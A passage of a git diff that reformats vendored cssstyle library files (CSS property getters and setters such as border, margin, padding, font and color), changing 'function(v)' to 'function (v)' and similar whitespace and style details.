{ + get: function () { return this.getPropertyValue('border-spacing'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderStyle.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderStyle.js index 6e3e674f..bb181921 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderStyle.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderStyle.js @@ -21,7 +21,7 @@ module.exports.isValid = function parse(v) { }; var isValid = module.exports.isValid; -var parser = function(v) { +var parser = function (v) { if (isValid(v)) { return v.toLowerCase(); } @@ -30,7 +30,7 @@ var parser = function(v) { module.exports.definition = { set: implicitSetter('border', 'style', isValid, parser), - get: function() { + get: function () { return this.getPropertyValue('border-style'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopColor.js index cc353924..695d7dab 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopColor.js @@ -3,12 +3,12 @@ var isValid = (module.exports.isValid = require('./borderColor').isValid); module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { this._setProperty('border-top-color', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-top-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopStyle.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopStyle.js index 938ea408..fe3e8c8f 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopStyle.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopStyle.js @@ -4,7 +4,7 @@ var isValid = require('./borderStyle').isValid; module.exports.isValid = isValid; module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { if (v.toLowerCase() === 'none') { v = ''; @@ -13,7 +13,7 @@ module.exports.definition = { this._setProperty('border-top-style', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-top-style'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopWidth.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopWidth.js index 94072535..8c35acec 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopWidth.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderTopWidth.js @@ -4,12 +4,12 @@ var isValid = require('./borderWidth').isValid; module.exports.isValid = isValid; module.exports.definition = { - set: function(v) { + set: function (v) { if (isValid(v)) { this._setProperty('border-top-width', v); } }, - get: function() { + get: function () { return this.getPropertyValue('border-top-width'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderWidth.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderWidth.js index 2b6d8718..f6ccf411 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderWidth.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/borderWidth.js @@ -25,7 +25,7 @@ module.exports.isValid = function parse(v) { }; var isValid = module.exports.isValid; -var parser = function(v) { +var parser = function (v) { var length = parsers.parseLength(v); if (length !== undefined) { return length; @@ -38,7 +38,7 @@ var parser = function(v) { module.exports.definition = { set: implicitSetter('border', 'width', isValid, parser), - get: function() { + get: function () { return this.getPropertyValue('border-width'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/bottom.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/bottom.js index e9d72b22..708bcb53 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/bottom.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/bottom.js @@ -3,10 +3,10 @@ var parseMeasurement = require('../parsers').parseMeasurement; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('bottom', parseMeasurement(v)); }, - get: function() { + get: function () { return this.getPropertyValue('bottom'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/clear.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/clear.js index 22d98029..076e4643 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/clear.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/clear.js @@ -5,10 +5,10 @@ var parseKeyword = require('../parsers').parseKeyword; var clear_keywords = ['none', 'left', 'right', 'both', 'inherit']; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('clear', parseKeyword(v, clear_keywords)); }, - get: function() { + get: function () { return this.getPropertyValue('clear'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/clip.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/clip.js index 91ba675e..7c4ddcc7 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/clip.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/clip.js @@ -4,7 +4,7 @@ var parseMeasurement = require('../parsers').parseMeasurement; var shape_regex = /^rect\((.*)\)$/i; -var parse = function(val) { +var parse = function (val) { if (val === '' || val === null) { return val; } @@ -23,7 +23,7 @@ var parse = function(val) { if (parts.length !== 4) { return undefined; } - var valid = parts.every(function(part, index) { + var valid = parts.every(function (part, index) { var measurement = parseMeasurement(part); parts[index] = measurement; return measurement !== undefined; @@ -36,10 +36,10 @@ var parse = function(val) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('clip', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('clip'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/color.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/color.js index 1b5ca3dc..486b5569 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/color.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/color.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/cssFloat.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/cssFloat.js index 1c619cc7..dded1285 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/cssFloat.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/cssFloat.js @@ -1,10 +1,10 @@ 'use strict'; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('float', v); }, - get: function() { + get: function () { return this.getPropertyValue('float'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flex.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flex.js index b56fd55d..6f5c28ce 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flex.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flex.js @@ -17,10 +17,8 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { - var normalizedValue = String(v) - .trim() - .toLowerCase(); + set: function (v) { + var normalizedValue = String(v).trim().toLowerCase(); if (normalizedValue === 'none') { myShorthandSetter.call(this, '0 0 auto'); diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexBasis.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexBasis.js index 0c7cddf0..518f9577 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexBasis.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexBasis.js @@ -17,10 +17,10 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('flex-basis', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('flex-basis'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexGrow.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexGrow.js index 6e296636..6f680d27 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexGrow.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexGrow.js @@ -8,10 +8,10 @@ module.exports.isValid = function isValid(v, positionAtFlexShorthand) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('flex-grow', parseNumber(v)); }, - get: function() { + get: function () { return this.getPropertyValue('flex-grow'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexShrink.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexShrink.js index 63ff86fd..9074976c 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexShrink.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/flexShrink.js @@ -8,10 +8,10 @@ module.exports.isValid = function isValid(v, positionAtFlexShorthand) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('flex-shrink', parseNumber(v)); }, - get: function() { + get: function () { return this.getPropertyValue('flex-shrink'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/float.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/float.js index 1c619cc7..dded1285 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/float.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/float.js @@ -1,10 +1,10 @@ 'use strict'; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('float', v); }, - get: function() { + get: function () { return this.getPropertyValue('float'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/floodColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/floodColor.js index 8a4f29c6..9a2f628b 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/floodColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/floodColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('flood-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('flood-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/font.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/font.js index 9492dc63..f96db240 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/font.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/font.js @@ -28,7 +28,7 @@ var static_fonts = [ var setter = shorthandSetter('font', shorthand_for); module.exports.definition = { - set: function(v) { + set: function (v) { var short = shorthandParser(v, shorthand_for); if (short !== undefined) { return setter.call(this, v); diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontFamily.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontFamily.js index 40bd1c13..6cf0c597 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontFamily.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontFamily.js @@ -22,10 +22,10 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('font-family', v); }, - get: function() { + get: function () { return this.getPropertyValue('font-family'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontSize.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontSize.js index c956324b..060ff02f 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontSize.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontSize.js @@ -7,7 +7,7 @@ var parseMeasurement = require('../parsers').parseMeasurement; var absoluteSizes = ['xx-small', 'x-small', 'small', 'medium', 'large', 'x-large', 'xx-large']; var relativeSizes = ['larger', 'smaller']; -module.exports.isValid = function(v) { +module.exports.isValid = function (v) { var type = valueType(v.toLowerCase()); return ( type === TYPES.LENGTH || @@ -21,16 +21,16 @@ function parse(v) { const valueAsString = String(v).toLowerCase(); const optionalArguments = absoluteSizes.concat(relativeSizes); const isOptionalArgument = optionalArguments.some( - stringValue => stringValue.toLowerCase() === valueAsString + (stringValue) => stringValue.toLowerCase() === valueAsString ); return isOptionalArgument ? valueAsString : parseMeasurement(v); } module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('font-size', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('font-size'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontStyle.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontStyle.js index 63d5e921..f64f86a3 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontStyle.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontStyle.js @@ -2,15 +2,15 @@ var valid_styles = ['normal', 'italic', 'oblique', 'inherit']; -module.exports.isValid = function(v) { +module.exports.isValid = function (v) { return valid_styles.indexOf(v.toLowerCase()) !== -1; }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('font-style', v); }, - get: function() { + get: function () { return this.getPropertyValue('font-style'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontVariant.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontVariant.js index f03b5ea2..cec9ae6f 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontVariant.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontVariant.js @@ -7,10 +7,10 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('font-variant', v); }, - get: function() { + get: function () { return this.getPropertyValue('font-variant'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontWeight.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontWeight.js index b854f6ab..c563fb7d 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontWeight.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/fontWeight.js @@ -22,10 +22,10 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('font-weight', v); }, - get: function() { + get: function () { return this.getPropertyValue('font-weight'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/height.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/height.js index 82543c05..c58031a7 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/height.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/height.js @@ -13,10 +13,10 @@ function parse(v) { } module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('height', parse(v)); }, - get: function() { + get: function () { return this.getPropertyValue('height'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/left.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/left.js index 72bb2faf..99c49ba3 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/left.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/left.js @@ -3,10 +3,10 @@ var parseMeasurement = require('../parsers').parseMeasurement; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('left', parseMeasurement(v)); }, - get: function() { + get: function () { return this.getPropertyValue('left'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/lightingColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/lightingColor.js index 9f9643df..631dcc48 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/lightingColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/lightingColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('lighting-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('lighting-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/lineHeight.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/lineHeight.js index 6f7a037f..a359bb62 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/lineHeight.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/lineHeight.js @@ -15,10 +15,10 @@ module.exports.isValid = function isValid(v) { }; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('line-height', v); }, - get: function() { + get: function () { return this.getPropertyValue('line-height'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/margin.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/margin.js index 2a8f972b..37e25bac 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/margin.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/margin.js @@ -3,7 +3,7 @@ var parsers = require('../parsers.js'); var TYPES = parsers.TYPES; -var isValid = function(v) { +var isValid = function (v) { if (v.toLowerCase() === 'auto') { return true; } @@ -15,7 +15,7 @@ var isValid = function(v) { ); }; -var parser = function(v) { +var parser = function (v) { var V = v.toLowerCase(); if (V === 'auto') { return V; @@ -27,16 +27,16 @@ var mySetter = parsers.implicitSetter('margin', '', isValid, parser); var myGlobal = parsers.implicitSetter( 'margin', '', - function() { + function () { return true; }, - function(v) { + function (v) { return v; } ); module.exports.definition = { - set: function(v) { + set: function (v) { if (typeof v === 'number') { v = String(v); } @@ -57,7 +57,7 @@ module.exports.definition = { break; } }, - get: function() { + get: function () { return this.getPropertyValue('margin'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginBottom.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginBottom.js index 378172e2..7ffbaa07 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginBottom.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginBottom.js @@ -5,7 +5,7 @@ var parsers = require('../parsers.js'); module.exports.definition = { set: parsers.subImplicitSetter('margin', 'bottom', margin.isValid, margin.parser), - get: function() { + get: function () { return this.getPropertyValue('margin-bottom'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginLeft.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginLeft.js index 0c67317b..cab0c32d 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginLeft.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginLeft.js @@ -5,7 +5,7 @@ var parsers = require('../parsers.js'); module.exports.definition = { set: parsers.subImplicitSetter('margin', 'left', margin.isValid, margin.parser), - get: function() { + get: function () { return this.getPropertyValue('margin-left'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginRight.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginRight.js index 6cdf26bd..ef0d4c1c 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginRight.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginRight.js @@ -5,7 +5,7 @@ var parsers = require('../parsers.js'); module.exports.definition = { set: parsers.subImplicitSetter('margin', 'right', margin.isValid, margin.parser), - get: function() { + get: function () { return this.getPropertyValue('margin-right'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginTop.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginTop.js index 6a57621b..88337c3c 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginTop.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/marginTop.js @@ -5,7 +5,7 @@ var parsers = require('../parsers.js'); module.exports.definition = { set: parsers.subImplicitSetter('margin', 'top', margin.isValid, margin.parser), - get: function() { + get: function () { return this.getPropertyValue('margin-top'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/opacity.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/opacity.js index b26a3b68..94301839 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/opacity.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/opacity.js @@ -3,10 +3,10 @@ var parseNumber = require('../parsers').parseNumber; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('opacity', parseNumber(v)); }, - get: function() { + get: function () { return this.getPropertyValue('opacity'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/outlineColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/outlineColor.js index fc8093df..e838402d 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/outlineColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/outlineColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('outline-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('outline-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/padding.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/padding.js index 1287b19e..12851549 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/padding.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/padding.js @@ -3,7 +3,7 @@ var parsers = require('../parsers.js'); var TYPES = parsers.TYPES; -var isValid = function(v) { +var isValid = function (v) { var type = parsers.valueType(v); return ( type === TYPES.LENGTH || @@ -12,7 +12,7 @@ var isValid = function(v) { ); }; -var parser = function(v) { +var parser = function (v) { return parsers.parseMeasurement(v); }; @@ -20,16 +20,16 @@ var mySetter = parsers.implicitSetter('padding', '', isValid, parser); var myGlobal = parsers.implicitSetter( 'padding', '', - function() { + function () { return true; }, - function(v) { + function (v) { return v; } ); module.exports.definition = { - set: function(v) { + set: function (v) { if (typeof v === 'number') { v = String(v); } @@ -50,7 +50,7 @@ module.exports.definition = { break; } }, - get: function() { + get: function () { return this.getPropertyValue('padding'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingBottom.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingBottom.js index 3ce88e57..dcf176ed 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingBottom.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingBottom.js @@ -5,7 +5,7 @@ var parsers = require('../parsers.js'); module.exports.definition = { set: parsers.subImplicitSetter('padding', 'bottom', padding.isValid, padding.parser), - get: function() { + get: function () { return this.getPropertyValue('padding-bottom'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingLeft.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingLeft.js index 04363385..252cdf31 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingLeft.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingLeft.js @@ -5,7 +5,7 @@ var parsers = require('../parsers.js'); module.exports.definition = { set: parsers.subImplicitSetter('padding', 'left', padding.isValid, padding.parser), - get: function() { + get: function () { return this.getPropertyValue('padding-left'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingRight.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingRight.js index ff9bd34e..2cfdca9d 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingRight.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingRight.js @@ -5,7 +5,7 @@ var parsers = require('../parsers.js'); module.exports.definition = { set: parsers.subImplicitSetter('padding', 'right', padding.isValid, padding.parser), - get: function() { + get: function () { return this.getPropertyValue('padding-right'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingTop.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingTop.js index eca87816..c5c995d4 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingTop.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/paddingTop.js @@ -5,7 +5,7 @@ var parsers = require('../parsers.js'); module.exports.definition = { set: parsers.subImplicitSetter('padding', 'top', padding.isValid, padding.parser), - get: function() { + get: function () { return this.getPropertyValue('padding-top'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/right.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/right.js index eb4c3d49..df12c182 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/right.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/right.js @@ -3,10 +3,10 @@ var parseMeasurement = require('../parsers').parseMeasurement; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('right', parseMeasurement(v)); }, - get: function() { + get: function () { return this.getPropertyValue('right'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/stopColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/stopColor.js index 912d8e20..9ff8af6f 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/stopColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/stopColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('stop-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('stop-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textLineThroughColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textLineThroughColor.js index ae53dbbd..9d4aaa20 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textLineThroughColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textLineThroughColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('text-line-through-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('text-line-through-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textOverlineColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textOverlineColor.js index c6adf7ce..47b409b2 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textOverlineColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textOverlineColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('text-overline-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('text-overline-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textUnderlineColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textUnderlineColor.js index a243a9ca..d46efef8 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textUnderlineColor.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/textUnderlineColor.js @@ -3,10 +3,10 @@ var parseColor = require('../parsers').parseColor; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('text-underline-color', parseColor(v)); }, - get: function() { + get: function () { return this.getPropertyValue('text-underline-color'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/top.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/top.js index f71986fe..a4de175a 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/top.js +++ b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/top.js @@ -3,10 +3,10 @@ var parseMeasurement = require('../parsers').parseMeasurement; module.exports.definition = { - set: function(v) { + set: function (v) { this._setProperty('top', parseMeasurement(v)); }, - get: function() { + get: function () { return this.getPropertyValue('top'); }, enumerable: true, diff --git a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderAfterColor.js b/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderAfterColor.js index ed021949..b6231804 100644 --- a/env_xbb_lastest_jsdom/node_modules/cssstyle/lib/properties/webkitBorderAfterColor.js +++ 